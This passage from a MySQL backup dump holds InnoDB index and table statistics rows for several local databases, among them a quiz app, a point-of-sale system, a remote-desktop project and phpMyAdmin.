14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__table_uiprefs','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__tracking','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'db_name'),('phpmyadmin','pma__tracking','PRIMARY','2025-07-03 14:00:45','n_diff_pfx02',0,1,'db_name,table_name'),('phpmyadmin','pma__tracking','PRIMARY','2025-07-03 14:00:45','n_diff_pfx03',0,1,'db_name,table_name,version'),('phpmyadmin','pma__tracking','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__tracking','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__userconfig','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__userconfig','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__userconfig','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__usergroups','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'usergroup'),('phpmyadmin','pma__usergroups','PRIMARY','2025-07-03 14:00:45','n_diff_pfx02',0,1,'usergroup,tab'),('phpmyadmin','pma__usergroups','PRIMARY','2025-07-03 14:00:45','n_diff_pfx03',0,1,'usergroup,tab,allowed'),('phpmyadmin','pma__usergroups','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__usergroups','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('phpmyadmin','pma__users','PRIMARY','2025-07-03 14:00:45','n_diff_pfx01',0,1,'username'),('phpmyadmin','pma__users','PRIMARY','2025-07-03 14:00:45','n_diff_pfx02',0,1,'username,usergroup'),('phpmyadmin','pma__users','PRIMARY','2025-07-03 14:00:45','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('phpmyadmin','pma__users','PRIMARY','2025-07-03 14:00:45','size',1,NULL,'Number of pages in the index'),('quiz_app','assignment_questions','PRIMARY','2025-10-23 03:54:53','n_diff_pfx01',12,1,'id'),('quiz_app','assignment_questions','PRIMARY','2025-10-23 03:54:53','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','assignment_questions','PRIMARY','2025-10-23 03:54:53','size',1,NULL,'Number of pages in the index'),('quiz_app','assignment_questions','assignment_id','2025-10-23 03:54:53','n_diff_pfx01',4,1,'assignment_id'),('quiz_app','assignment_questions','assignment_id','2025-10-23 03:54:53','n_diff_pfx02',12,1,'assignment_id,id'),('quiz_app','assignment_questions','assignment_id','2025-10-23 03:54:53','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','assignment_questions','assignment_id','2025-10-23 03:54:53','size',1,NULL,'Number of pages in the index'),('quiz_app','assignment_questions','question_id','2025-10-23 03:54:53','n_diff_pfx01',6,1,'question_id'),('quiz_app','assignment_questions','question_id','2025-10-23 03:54:53','n_diff_pfx02',12,1,'question_id,id'),('quiz_app','assignment_questions','question_id','2025-10-23 03:54:53','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','assignment_questions','question_id','2025-10-23 03:54:53','size',1,NULL,'Number of pages in the index'),('quiz_app','assignments','PRIMARY','2025-10-20 19:23:02','n_diff_pfx01',5,1,'id'),('quiz_app','assignments','PRIMARY','2025-10-20 19:23:02','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','assignments','PRIMARY','2025-10-20 19:23:02','size',1,NULL,'Number of pages in the index'),('quiz_app','assignments','grade_id','2025-10-20 19:23:02','n_diff_pfx01',1,1,'grade_id'),('quiz_app','assignments','grade_id','2025-10-20 19:23:02','n_diff_pfx02',5,1,'grade_id,id'),('quiz_app','assignments','grade_id','2025-10-20 19:23:02','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','assignments','grade_id','2025-10-20 19:23:02','size',1,NULL,'Number of pages in the index'),('quiz_app','assignments','student_id','2025-10-20 19:23:02','n_diff_pfx01',2,1,'student_id'),('quiz_app','assignments','student_id','2025-10-20 19:23:02','n_diff_pfx02',5,1,'student_id,id'),('quiz_app','assignments','student_id','2025-10-20 19:23:02','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','assignments','student_id','2025-10-20 19:23:02','size',1,NULL,'Number of pages in the index'),('quiz_app','assignments','teacher_id','2025-10-20 19:23:02','n_diff_pfx01',1,1,'teacher_id'),('quiz_app','assignments','teacher_id','2025-10-20 19:23:02','n_diff_pfx02',5,1,'teacher_id,id'),('quiz_app','assignments','teacher_id','2025-10-20 19:23:02','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','assignments','teacher_id','2025-10-20 19:23:02','size',1,NULL,'Number of pages in the index'),('quiz_app','attempts','PRIMARY','2025-10-20 19:22:32','n_diff_pfx01',0,1,'id'),('quiz_app','attempts','PRIMARY','2025-10-20 19:22:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','attempts','PRIMARY','2025-10-20 19:22:32','size',1,NULL,'Number of pages in the index'),('quiz_app','grade_levels','PRIMARY','2025-10-20 19:23:32','n_diff_pfx01',10,1,'id'),('quiz_app','grade_levels','PRIMARY','2025-10-20 19:23:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','grade_levels','PRIMARY','2025-10-20 19:23:32','size',1,NULL,'Number of pages in the index'),('quiz_app','questions','PRIMARY','2025-10-23 03:54:32','n_diff_pfx01',8,1,'id'),('quiz_app','questions','PRIMARY','2025-10-23 03:54:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','questions','PRIMARY','2025-10-23 03:54:32','size',1,NULL,'Number of pages in the index'),('quiz_app','quiz_questions','PRIMARY','2025-10-23 03:55:54','n_diff_pfx01',60,1,'id'),('quiz_app','quiz_questions','PRIMARY','2025-10-23 03:55:54','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','quiz_questions','PRIMARY','2025-10-23 03:55:54','size',1,NULL,'Number of pages in the index'),('quiz_app','quiz_questions','idx_quiz_questions_question_id','2025-10-23 03:55:54','n_diff_pfx01',12,1,'question_id'),('quiz_app','quiz_questions','idx_quiz_questions_question_id','2025-10-23 03:55:54','n_diff_pfx02',60,1,'question_id,id'),('quiz_app','quiz_questions','idx_quiz_questions_question_id','2025-10-23 03:55:54','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','quiz_questions','idx_quiz_questions_question_id','2025-10-23 03:55:54','size',1,NULL,'Number of pages in the index'),('quiz_app','quiz_questions','idx_quiz_questions_quiz_result_id','2025-10-23 03:55:54','n_diff_pfx01',17,1,'quiz_result_id'),('quiz_app','quiz_questions','idx_quiz_questions_quiz_result_id','2025-10-23 03:55:54','n_diff_pfx02',60,1,'quiz_result_id,id'),('quiz_app','quiz_questions','idx_quiz_questions_quiz_result_id','2025-10-23 03:55:54','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','quiz_questions','idx_quiz_questions_quiz_result_id','2025-10-23 03:55:54','size',1,NULL,'Number of pages in the index'),('quiz_app','quiz_results','PRIMARY','2025-10-23 03:55:44','n_diff_pfx01',17,1,'id'),('quiz_app','quiz_results','PRIMARY','2025-10-23 03:55:44','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','quiz_results','PRIMARY','2025-10-23 03:55:44','size',1,NULL,'Number of pages in the index'),('quiz_app','quiz_results','idx_quiz_results_completed_at','2025-10-23 03:55:44','n_diff_pfx01',17,1,'completed_at'),('quiz_app','quiz_results','idx_quiz_results_completed_at','2025-10-23 03:55:44','n_diff_pfx02',17,1,'completed_at,id'),('quiz_app','quiz_results','idx_quiz_results_completed_at','2025-10-23 03:55:44','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','quiz_results','idx_quiz_results_completed_at','2025-10-23 03:55:44','size',1,NULL,'Number of pages in the index'),('quiz_app','quiz_results','idx_quiz_results_user_id','2025-10-23 03:55:44','n_diff_pfx01',1,1,'user_id'),('quiz_app','quiz_results','idx_quiz_results_user_id','2025-10-23 03:55:44','n_diff_pfx02',17,1,'user_id,id'),('quiz_app','quiz_results','idx_quiz_results_user_id','2025-10-23 03:55:44','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','quiz_results','idx_quiz_results_user_id','2025-10-23 03:55:44','size',1,NULL,'Number of pages in the index'),('quiz_app','users','PRIMARY','2025-10-20 19:22:42','n_diff_pfx01',4,1,'id'),('quiz_app','users','PRIMARY','2025-10-20 19:22:42','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','users','PRIMARY','2025-10-20 19:22:42','size',1,NULL,'Number of pages in the index'),('quiz_app','users','email','2025-10-20 19:22:42','n_diff_pfx01',4,1,'email'),('quiz_app','users','email','2025-10-20 19:22:42','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('quiz_app','users','email','2025-10-20 19:22:42','size',1,NULL,'Number of pages in the index'),('remote_desktop','api_keys','PRIMARY','2025-12-11 12:01:32','n_diff_pfx01',0,1,'id'),('remote_desktop','api_keys','PRIMARY','2025-12-11 12:01:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('remote_desktop','api_keys','PRIMARY','2025-12-11 12:01:32','size',1,NULL,'Number of pages in the index'),('remote_desktop','api_keys','api_key','2025-12-11 12:01:32','n_diff_pfx01',0,1,'api_key'),('remote_desktop','api_keys','api_key','2025-12-11 12:01:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('remote_desktop','api_keys','api_key','2025-12-11 12:01:32','size',1,NULL,'Number of pages in the index'),('remote_desktop','api_keys','device_id','2025-12-11 12:01:32','n_diff_pfx01',0,1,'device_id'),('remote_desktop','api_keys','device_id','2025-12-11 12:01:32','n_diff_pfx02',0,1,'device_id,id'),('remote_desktop','api_keys','device_id','2025-12-11 12:01:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('remote_desktop','api_keys','device_id','2025-12-11 12:01:32','size',1,NULL,'Number of pages in the index'),('remote_desktop','connections','PRIMARY','2025-12-11 12:01:32','n_diff_pfx01',0,1,'id'),('remote_desktop','connections','PRIMARY','2025-12-11 12:01:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('remote_desktop','connections','PRIMARY','2025-12-11 12:01:32','size',1,NULL,'Number of pages in the index'),('remote_desktop','connections','idx_from_device','2025-12-11 12:01:32','n_diff_pfx01',0,1,'from_device'),('remote_desktop','connections','idx_from_device','2025-12-11 12:01:32','n_diff_pfx02',0,1,'from_device,id'),('remote_desktop','connections','idx_from_device','2025-12-11 12:01:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('remote_desktop','connections','idx_from_device','2025-12-11 12:01:32','size',1,NULL,'Number of pages in the index'),('remote_desktop','connections','idx_status','2025-12-11 12:01:32','n_diff_pfx01',0,1,'status'),('remote_desktop','connections','idx_status','2025-12-11 12:01:32','n_diff_pfx02',0,1,'status,id'),('remote_desktop','connections','idx_status','2025-12-11 12:01:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('remote_desktop','connections','idx_status','2025-12-11 12:01:32','size',1,NULL,'Number of pages in the index'),('remote_desktop','connections','idx_to_device','2025-12-11 12:01:32','n_diff_pfx01',0,1,'to_device'),('remote_desktop','connections','idx_to_device','2025-12-11 12:01:32','n_diff_pfx02',0,1,'to_device,id'),('remote_desktop','connections','idx_to_device','2025-12-11 12:01:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('remote_desktop','connections','idx_to_device','2025-12-11 12:01:32','size',1,NULL,'Number of pages in the index'),('remote_desktop','devices','PRIMARY','2025-12-11 12:01:32','n_diff_pfx01',0,1,'device_id'),('remote_desktop','devices','PRIMARY','2025-12-11 12:01:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('remote_desktop','devices','PRIMARY','2025-12-11 12:01:32','size',1,NULL,'Number of pages in the index'),('remote_desktop','devices','idx_last_seen','2025-12-11 12:01:32','n_diff_pfx01',0,1,'last_seen'),('remote_desktop','devices','idx_last_seen','2025-12-11 12:01:32','n_diff_pfx02',0,1,'last_seen,device_id'),('remote_desktop','devices','idx_last_seen','2025-12-11 12:01:32','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('remote_desktop','devices','idx_last_seen','2025-12-11 12:01:32','size',1,NULL,'Number of pages in the index'),('sanmiwago_p','#sql-216_1b7f0','PRIMARY','2025-01-28 03:04:07','n_diff_pfx01',0,1,'id'),('sanmiwago_p','#sql-216_1b7f0','PRIMARY','2025-01-28 03:04:07','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('sanmiwago_p','#sql-216_1b7f0','PRIMARY','2025-01-28 03:04:07','size',1,NULL,'Number of pages in the index'),('six_pos','accounts','PRIMARY','2026-01-03 14:02:09','n_diff_pfx01',3,1,'id'),('six_pos','accounts','PRIMARY','2026-01-03 14:02:09','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','accounts','PRIMARY','2026-01-03 14:02:09','size',1,NULL,'Number of pages in the index'),('six_pos','admin_roles','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',1,1,'id'),('six_pos','admin_roles','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','admin_roles','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','admins','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','admins','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','admins','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','brands','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',1,1,'id'),('six_pos','brands','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','brands','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','business_settings','PRIMARY','2026-01-03 14:02:49','n_diff_pfx01',13,1,'id'),('six_pos','business_settings','PRIMARY','2026-01-03 14:02:49','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','business_settings','PRIMARY','2026-01-03 14:02:49','size',1,NULL,'Number of pages in the index'),('six_pos','categories','PRIMARY','2026-01-03 14:02:29','n_diff_pfx01',2,1,'id'),('six_pos','categories','PRIMARY','2026-01-03 14:02:29','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','categories','PRIMARY','2026-01-03 14:02:29','size',1,NULL,'Number of pages in the index'),('six_pos','companies','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','companies','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','companies','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','counters','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','counters','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','counters','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','coupons','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','coupons','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','coupons','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','currencies','PRIMARY','2026-01-03 14:03:09','n_diff_pfx01',119,1,'id'),('six_pos','currencies','PRIMARY','2026-01-03 14:03:09','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','currencies','PRIMARY','2026-01-03 14:03:09','size',1,NULL,'Number of pages in the index'),('six_pos','customers','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',1,1,'id'),('six_pos','customers','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','customers','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','failed_jobs','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','failed_jobs','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','failed_jobs','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','failed_jobs','failed_jobs_uuid_unique','2026-01-03 14:01:59','n_diff_pfx01',0,1,'uuid'),('six_pos','failed_jobs','failed_jobs_uuid_unique','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','failed_jobs','failed_jobs_uuid_unique','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','migrations','PRIMARY','2026-01-03 14:02:19','n_diff_pfx01',56,1,'id'),('six_pos','migrations','PRIMARY','2026-01-03 14:02:19','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','migrations','PRIMARY','2026-01-03 14:02:19','size',1,NULL,'Number of pages in the index'),('six_pos','oauth_access_tokens','PRIMARY','2026-01-03 14:01:58','n_diff_pfx01',0,1,'id'),('six_pos','oauth_access_tokens','PRIMARY','2026-01-03 14:01:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','oauth_access_tokens','PRIMARY','2026-01-03 14:01:58','size',1,NULL,'Number of pages in the index'),('six_pos','oauth_access_tokens','oauth_access_tokens_user_id_index','2026-01-03 14:01:58','n_diff_pfx01',0,1,'user_id'),('six_pos','oauth_access_tokens','oauth_access_tokens_user_id_index','2026-01-03 14:01:58','n_diff_pfx02',0,1,'user_id,id'),('six_pos','oauth_access_tokens','oauth_access_tokens_user_id_index','2026-01-03 14:01:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','oauth_access_tokens','oauth_access_tokens_user_id_index','2026-01-03 14:01:58','size',1,NULL,'Number of pages in the index'),('six_pos','oauth_auth_codes','PRIMARY','2026-01-03 14:01:58','n_diff_pfx01',0,1,'id'),('six_pos','oauth_auth_codes','PRIMARY','2026-01-03 14:01:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','oauth_auth_codes','PRIMARY','2026-01-03 14:01:58','size',1,NULL,'Number of pages in the index'),('six_pos','oauth_auth_codes','oauth_auth_codes_user_id_index','2026-01-03 14:01:58','n_diff_pfx01',0,1,'user_id'),('six_pos','oauth_auth_codes','oauth_auth_codes_user_id_index','2026-01-03 14:01:58','n_diff_pfx02',0,1,'user_id,id'),('six_pos','oauth_auth_codes','oauth_auth_codes_user_id_index','2026-01-03 14:01:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','oauth_auth_codes','oauth_auth_codes_user_id_index','2026-01-03 14:01:58','size',1,NULL,'Number of pages in the index'),('six_pos','oauth_clients','PRIMARY','2026-01-03 14:02:39','n_diff_pfx01',2,1,'id'),('six_pos','oauth_clients','PRIMARY','2026-01-03 14:02:39','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','oauth_clients','PRIMARY','2026-01-03 14:02:39','size',1,NULL,'Number of pages in the index'),('six_pos','oauth_clients','oauth_clients_user_id_index','2026-01-03 14:02:39','n_diff_pfx01',1,1,'user_id'),('six_pos','oauth_clients','oauth_clients_user_id_index','2026-01-03 14:02:39','n_diff_pfx02',2,1,'user_id,id'),('six_pos','oauth_clients','oauth_clients_user_id_index','2026-01-03 14:02:39','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','oauth_clients','oauth_clients_user_id_index','2026-01-03 14:02:39','size',1,NULL,'Number of pages in the index'),('six_pos','oauth_personal_access_clients','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',1,1,'id'),('six_pos','oauth_personal_access_clients','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','oauth_personal_access_clients','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','oauth_refresh_tokens','PRIMARY','2026-01-03 14:01:58','n_diff_pfx01',0,1,'id'),('six_pos','oauth_refresh_tokens','PRIMARY','2026-01-03 14:01:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','oauth_refresh_tokens','PRIMARY','2026-01-03 14:01:58','size',1,NULL,'Number of pages in the index'),('six_pos','oauth_refresh_tokens','oauth_refresh_tokens_access_token_id_index','2026-01-03 14:01:58','n_diff_pfx01',0,1,'access_token_id'),('six_pos','oauth_refresh_tokens','oauth_refresh_tokens_access_token_id_index','2026-01-03 14:01:58','n_diff_pfx02',0,1,'access_token_id,id'),('six_pos','oauth_refresh_tokens','oauth_refresh_tokens_access_token_id_index','2026-01-03 14:01:58','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','oauth_refresh_tokens','oauth_refresh_tokens_access_token_id_index','2026-01-03 14:01:58','size',1,NULL,'Number of pages in the index'),('six_pos','order_details','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','order_details','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','order_details','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','orders','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','orders','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','orders','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','password_resets','GEN_CLUST_INDEX','2026-01-03 14:01:59','n_diff_pfx01',0,1,'DB_ROW_ID'),('six_pos','password_resets','GEN_CLUST_INDEX','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','password_resets','GEN_CLUST_INDEX','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','password_resets','password_resets_email_index','2026-01-03 14:01:59','n_diff_pfx01',0,1,'email'),('six_pos','password_resets','password_resets_email_index','2026-01-03 14:01:59','n_diff_pfx02',0,1,'email,DB_ROW_ID'),('six_pos','password_resets','password_resets_email_index','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','password_resets','password_resets_email_index','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','personal_access_tokens','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','personal_access_tokens','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','personal_access_tokens','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','personal_access_tokens','personal_access_tokens_token_unique','2026-01-03 14:01:59','n_diff_pfx01',0,1,'token'),('six_pos','personal_access_tokens','personal_access_tokens_token_unique','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','personal_access_tokens','personal_access_tokens_token_unique','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','personal_access_tokens','personal_access_tokens_tokenable_type_tokenable_id_index','2026-01-03 14:01:59','n_diff_pfx01',0,1,'tokenable_type'),('six_pos','personal_access_tokens','personal_access_tokens_tokenable_type_tokenable_id_index','2026-01-03 14:01:59','n_diff_pfx02',0,1,'tokenable_type,tokenable_id'),('six_pos','personal_access_tokens','personal_access_tokens_tokenable_type_tokenable_id_index','2026-01-03 14:01:59','n_diff_pfx03',0,1,'tokenable_type,tokenable_id,id'),('six_pos','personal_access_tokens','personal_access_tokens_tokenable_type_tokenable_id_index','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','personal_access_tokens','personal_access_tokens_tokenable_type_tokenable_id_index','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','refunds','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','refunds','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','refunds','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','soft_credentials','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','soft_credentials','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','soft_credentials','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','suppliers','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',1,1,'id'),('six_pos','suppliers','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','suppliers','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','transections','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','transections','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','transections','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','units','PRIMARY','2026-01-03 14:02:59','n_diff_pfx01',3,1,'id'),('six_pos','units','PRIMARY','2026-01-03 14:02:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','units','PRIMARY','2026-01-03 14:02:59','size',1,NULL,'Number of pages in the index'),('six_pos','users','PRIMARY','2026-01-03 14:01:59','n_diff_pfx01',0,1,'id'),('six_pos','users','PRIMARY','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','users','PRIMARY','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('six_pos','users','users_email_unique','2026-01-03 14:01:59','n_diff_pfx01',0,1,'email'),('six_pos','users','users_email_unique','2026-01-03 14:01:59','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('six_pos','users','users_email_unique','2026-01-03 14:01:59','size',1,NULL,'Number of pages in the index'),('sys','sys_config','PRIMARY','2023-09-22 01:26:37','n_diff_pfx01',2,1,'variable'),('sys','sys_config','PRIMARY','2023-09-22 01:26:37','n_leaf_pages',1,NULL,'Number of leaf pages in the index'),('sys','sys_config','PRIMARY','2023-09-22 01:26:37','size',1,NULL,'Number of pages in the index'); ./posacct_project/pos_db_backup.sql:INSERT IGNORE INTO `innodb_table_stats` VALUES ('doordash','delivery_persons','2025-12-28 04:17:58',3,1,1),('doordash','menu_items','2025-12-28 04:07:38',21,1,1),('doordash','merchant_stripe_accounts','2026-01-13 02:10:30',2,1,3),('doordash','order_items','2026-02-10 06:34:33',75,1,2),('doordash','orders','2026-02-10 06:34:23',75,1,5),('doordash','payments','2025-11-20 06:53:58',3,1,10),('doordash','refunds','2025-11-16 16:47:58',0,1,2),('doordash','restaurants','2025-11-05 12:21:16',18,1,0),('doordash','stripe_otps','2026-01-13 02:09:41',2,1,1),('doordash','user_restaurants','2026-01-09 14:25:57',13,1,2),('doordash','users','2025-12-28 04:16:05',15,1,1),('employee_performance_tracker','assigned_tasks','2025-10-31 02:40:07',30,1,0),('employee_performance_tracker','staff','2025-10-31 01:20:36',2,1,0),('employee_performance_tracker','staff_tasks','2025-10-19 21:03:41',0,1,1),('employee_performance_tracker','tasks','2025-10-21 18:49:29',12,1,0),('mysql','component','2025-07-07 13:39:40',1,1,0),('phpmyadmin','pma__bookmark','2025-07-03 14:00:45',0,1,0),('phpmyadmin','pma__central_columns','2025-07-03 14:00:44',0,1,0),('phpmyadmin','pma__column_info','2025-07-03 14:00:45',0,1,1),('phpmyadmin','pma__designer_settings','2025-07-03 14:00:44',0,1,0),('phpmyadmin','pma__export_templates','2025-07-03 14:00:46',0,1,1),('phpmyadmin','pma__favorite','2025-07-03 14:00:44',0,1,0),('phpmyadmin','pma__history','2025-07-03 14:00:46',0,1,1),('phpmyadmin','pma__navigationhiding','2025-07-03 14:00:45',0,1,0),('phpmyadmin','pma__pdf_pages','2025-07-03 14:00:45',0,1,1),('phpmyadmin','pma__recent','2025-07-03 14:00:45',0,1,0),('phpmyadmin','pma__relation','2025-07-03 14:00:45',0,1,1),('phpmyadmin','pma__savedsearches','2025-07-03 14:00:45',0,1,1),('phpmyadmin','pma__table_coords','2025-07-03 14:00:45',0,1,0),('phpmyadmin','pma__table_info','2025-07-03 14:00:45',0,1,0),('phpmyadmin','pma__table_uiprefs','2025-07-03 14:00:45',0,1,0),('phpmyadmin','pma__tracking','2025-07-03 14:00:45',0,1,0),('phpmyadmin','pma__userconfig','2025-07-03 14:00:45',0,1,0),('phpmyadmin','pma__usergroups','2025-07-03 14:00:45',0,1,0),('phpmyadmin','pma__users','2025-07-03 14:00:45',0,1,0),('quiz_app','assignment_questions','2025-10-23 03:54:53',12,1,2),('quiz_app','assignments','2025-10-20 19:23:02',5,1,3),('quiz_app','attempts','2025-10-20 19:22:32',0,1,0),('quiz_app','grade_levels','2025-10-20 19:23:32',10,1,0),('quiz_app','questions','2025-10-23 03:54:32',8,1,0),('quiz_app','quiz_questions','2025-10-23 03:55:54',60,1,2),('quiz_app','quiz_results','2025-10-23 03:55:44',17,1,2),('quiz_app','users','2025-10-20 19:22:42',4,1,1),('remote_desktop','api_keys','2025-12-11 12:01:32',0,1,2),('remote_desktop','connections','2025-12-11 12:01:32',0,1,3),('remote_desktop','devices','2025-12-11 12:01:32',0,1,1),('sanmiwago_p','#sql-216_1b7f0','2025-01-28 